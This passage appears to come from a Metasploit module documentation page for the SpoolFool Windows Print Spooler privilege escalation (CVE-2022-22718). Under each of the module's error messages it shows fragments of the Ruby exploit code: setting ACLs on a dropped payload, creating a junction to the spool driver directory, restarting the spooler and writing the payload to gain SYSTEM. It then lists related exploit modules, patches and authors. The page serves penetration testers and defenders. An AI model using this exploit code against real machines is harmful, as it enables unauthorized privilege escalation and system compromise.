238: end
239: end
240:
241: def set_printer_data(handle, key_name, value_name, config_data)
Failed to terminate print spooler service.
Here is a relevant code snippet related to the "Failed to terminate print spooler service." error message:
232: def restart_spooler(handle)
233: print_status('Attempting to restart print spooler.')
234: term_path = 'C:\\Windows\\System32\\AppVTerminator.dll'
235: ret = set_printer_data(handle, 'CopyFiles\\', 'Module', term_path)
236: unless ret['GetLastError'] == 0
237: fail_with(Failure::UnexpectedReply, 'Failed to terminate print spooler service.')
238: end
239: end
240:
241: def set_printer_data(handle, key_name, value_name, config_data)
242: winspool.SetPrinterDataExA(handle,
Failed to get payload security info.
Here is a relevant code snippet related to the "Failed to get payload security info." error message:
263: nil,
264: 8
265: )
266:
267: unless ret['return'] == 0
268: fail_with(Failure::UnexpectedReply, 'Failed to get payload security info.')
269: end
270:
271: ret = advapi32.BuildExplicitAccessWithNameA(
272: '\x00' * 48,
273: 'SYSTEM',
Failed to retrieve EXPLICIT_ACCESS structure.
Here is a relevant code snippet related to the "Failed to retrieve EXPLICIT_ACCESS structure." error message:
276: session.railgun.const('NO_INHERITANCE')
277: )
278:
279: ea_struct = ret['pExplicitAccess']
280: if ea_struct.empty?
281: fail_with(Failure::UnexpectedReply, 'Failed to retrieve EXPLICIT_ACCESS structure.')
282: end
283:
284: ret = advapi32.SetEntriesInAclA(1, ea_struct, nil, 8)
285: fail_with(Failure::UnexpectedReply, "Failed to create new ACL: #{ret['GetLastError']}") if ret['return'] != 0
286:
Failed to create new ACL: <GETLASTERROR>
Here is a relevant code snippet related to the "Failed to create new ACL: <GETLASTERROR>" error message:
280: if ea_struct.empty?
281: fail_with(Failure::UnexpectedReply, 'Failed to retrieve EXPLICIT_ACCESS structure.')
282: end
283:
284: ret = advapi32.SetEntriesInAclA(1, ea_struct, nil, 8)
285: fail_with(Failure::UnexpectedReply, "Failed to create new ACL: #{ret['GetLastError']}") if ret['return'] != 0
286:
287: # need to first access pointer to the new acl
288: # in order to read the acl's header (8 bytes) to determine
289: # size of entire acl structure
290: new_acl_ptr = ret['NewAcl'].unpack('Q').first
Failed to retrieve size of ACL structure.
Here is a relevant code snippet related to the "Failed to retrieve size of ACL structure." error message:
293: # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-acl
294: acl_mems = acl_header.unpack('CCSSS')
295: struct_size = acl_mems&.at(2)
296:
297: unless struct_size
298: fail_with(Failure::UnexpectedReply, 'Failed to retrieve size of ACL structure.')
299: end
300:
301: acl_struct = session.railgun.util.memread(new_acl_ptr, struct_size)
302: ret = advapi32.SetNamedSecurityInfoA(
303: @payload_path,
Failed to set permissions on payload.
Here is a relevant code snippet related to the "Failed to set permissions on payload." error message:
307: nil,
308: acl_struct,
309: nil
310: )
311:
312: fail_with(Failure::UnexpectedReply, 'Failed to set permissions on payload.') if ret['return'] != 0
313: print_status('Payload should have read / execute permissions now.')
314: end
315:
316: def open_printer
317: print_ptr = session.railgun.util.alloc_and_write_string('RAW')
Failed to write payload.
Here is a relevant code snippet related to the "Failed to write payload." error message:
340: register_file_for_cleanup(@payload_path)
341: register_dir_for_cleanup(@v4_dir)
342:
343: print_status("Writing payload to #{@payload_path}.")
344: unless write_file(@payload_path, payload_data)
345: fail_with(Failure::UnexpectedReply, 'Failed to write payload.')
346: end
347:
348: print_status('Attempting to set permissions for payload.')
349: set_perms_on_payload
350: set_printer_data(handle, 'CopyFiles\\', 'Module', @payload_path)
Already running as SYSTEM
Here is a relevant code snippet related to the "Already running as SYSTEM" error message:
349: set_perms_on_payload
350: set_printer_data(handle, 'CopyFiles\\', 'Module', @payload_path)
351: end
352:
353: def exploit
354: fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
355:
356: unless session.arch == ARCH_X64
357: fail_with(Failure::BadConfig, 'This exploit only supports x64 sessions')
358: end
359:
This exploit only supports x64 sessions
Here is a relevant code snippet related to the "This exploit only supports x64 sessions" error message:
352:
353: def exploit
354: fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
355:
356: unless session.arch == ARCH_X64
357: fail_with(Failure::BadConfig, 'This exploit only supports x64 sessions')
358: end
359:
360: @printer_name = get_printer_name
361: tmp_dir = Rex::Text.rand_text_alpha(5..12)
362: tmp_path = expand_path("#{dir_path}\\#{tmp_dir}")
Failed to open default printer.
Here is a relevant code snippet related to the "Failed to open default printer." error message:
378: end
379:
380: handle = nil
381: if target_is_server?
382: ret = open_printer
383: fail_with(Failure::UnexpectedReply, 'Failed to open default printer.') unless ret['return']
384: handle = ret['phPrinter']
385: else
386: handle = add_printer
387: end
388:
Driver directory not found.
Here is a relevant code snippet related to the "Driver directory not found." error message:
386: handle = add_printer
387: end
388:
389: driver_dir = 'C:\\Windows\\System32\\spool\\drivers\\x64'
390: @v4_dir = "#{driver_dir}\\4"
391: fail_with(Failure::NotFound, 'Driver directory not found.') unless directory?(driver_dir)
392:
393: # if directory already exists, attempt the exploit
394: if directory?(@v4_dir)
395: print_status('v4 directory already exists.')
396: else
Failed to create junction point.
Here is a relevant code snippet related to the "Failed to create junction point." error message:
395: print_status('v4 directory already exists.')
396: else
397: set_spool_directory(handle, to_unc("#{tmp_path}\\4"))
398: print_status("Creating junction point: #{tmp_path} -> #{driver_dir}")
399: junction = create_junction(tmp_path, driver_dir)
400: fail_with(Failure::UnexpectedReply, 'Failed to create junction point.') unless junction
401:
402: # now restart spooler to create spool directory
403: print_status('Creating the spool directory by restarting spooler...')
404: restart_spooler(handle)
405: print_status("Sleeping for #{count} seconds.")
The print spooler service failed to start.
Here is a relevant code snippet related to the "The print spooler service failed to start." error message:
405: print_status("Sleeping for #{count} seconds.")
406: Rex.sleep(count)
407:
408: ret = open_printer
409: unless ret['return']
410: fail_with(Failure::Unreachable, 'The print spooler service failed to start.')
411: end
412:
413: handle = ret['phPrinter']
414: unless directory?(@v4_dir)
415: fail_with(Failure::UnexpectedReply, 'Directory was not created.')
Directory was not created.
Here is a relevant code snippet related to the "Directory was not created." error message:
410: fail_with(Failure::Unreachable, 'The print spooler service failed to start.')
411: end
412:
413: handle = ret['phPrinter']
414: unless directory?(@v4_dir)
415: fail_with(Failure::UnexpectedReply, 'Directory was not created.')
416: end
417:
418: print_good('Directory was successfully created.')
419: end
420:
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Related Pull Requests
- #16371 Merged Pull Request: Fix kubernetes websocket crash when identifying peer host
- #16325 Merged Pull Request: Replace IO read on binary files with File binread
- #16369 Merged Pull Request: Open a new Meterpreter session when trying to upgrade Meterpreter
- #16250 Merged Pull Request: Update service mixins for NAT options
- #16341 Merged Pull Request: implement vnc hash types
- #16367 Merged Pull Request: Fix character escaping in the apisix exploit
- #16207 Merged Pull Request: Fix vnc scanner module(s)
- #16298 Merged Pull Request: Capture plugin
- #16368 Merged Pull Request: Conditionally recalculate in ModuleSet
- #16352 Merged Pull Request: Add stale bot exemption for discussion label
References
- https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81
- CVE-2022-21999
See Also
Check also the following modules related to this module:
- exploit/windows/local/cve_2017_8464_lnk_lpe
- exploit/windows/local/cve_2018_8453_win32k_priv_esc
- exploit/windows/local/cve_2019_1458_wizardopium
- exploit/windows/local/cve_2020_0668_service_tracing
- exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
- exploit/windows/local/cve_2020_0796_smbghost
- exploit/windows/local/cve_2020_1048_printerdemon
- exploit/windows/local/cve_2020_1054_drawiconex_lpe
- exploit/windows/local/cve_2020_1313_system_orchestrator
- exploit/windows/local/cve_2020_1337_printerdemon
- exploit/windows/local/cve_2020_17136
- exploit/windows/local/cve_2021_1732_win32k
- exploit/windows/local/cve_2021_21551_dbutil_memmove
- exploit/windows/local/cve_2021_40449
- exploit/windows/local/cve_2022_21882_win32k
- exploit/windows/local/cve_2022_26904_superprofile
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/fileformat/cve_2017_8464_lnk_rce
- exploit/windows/misc/cve_2022_28381_allmediaserver_bof
- exploit/windows/rdp/cve_2019_0708_bluekeep_rce
- exploit/windows/smb/cve_2020_0796_smbghost
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/multi/http/cve_2021_35464_forgerock_openam
- exploit/multi/sap/cve_2020_6207_solman_rs
Related Nessus plugins:
- KB5010403: Windows Server 2008 Security Update (February 2022)
- KB5010422: Windows Server 2008 R2 Security Update (February 2022)
- KB5010345: Windows 10 version 1909 Security Update (February 2022)
- KB5010342: Windows 10 Version 20H2 / Windows 10 Version 21H1 / Windows 10 Version 21H2 Security Update (February 2022)
- KB5010395: Windows Server 2012 R2 Security Update (February 2022)
- KB5010351: Windows 10 version 1809 / Windows Server 2019 Security Update (February 2022)
- KB5010358: Windows 10 LTS 1507 Security Update (February 2022)
- KB5010359: Windows 10 Version 1607 and Windows Server 2016 Security Update (February 2022)
- KB5010386: Windows Server 11 Security Update (February 2022)
- KB5010354: Windows Server 2022 Security Update (February 2022)
Authors
- Oliver Lyak
- Shelby Pace
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
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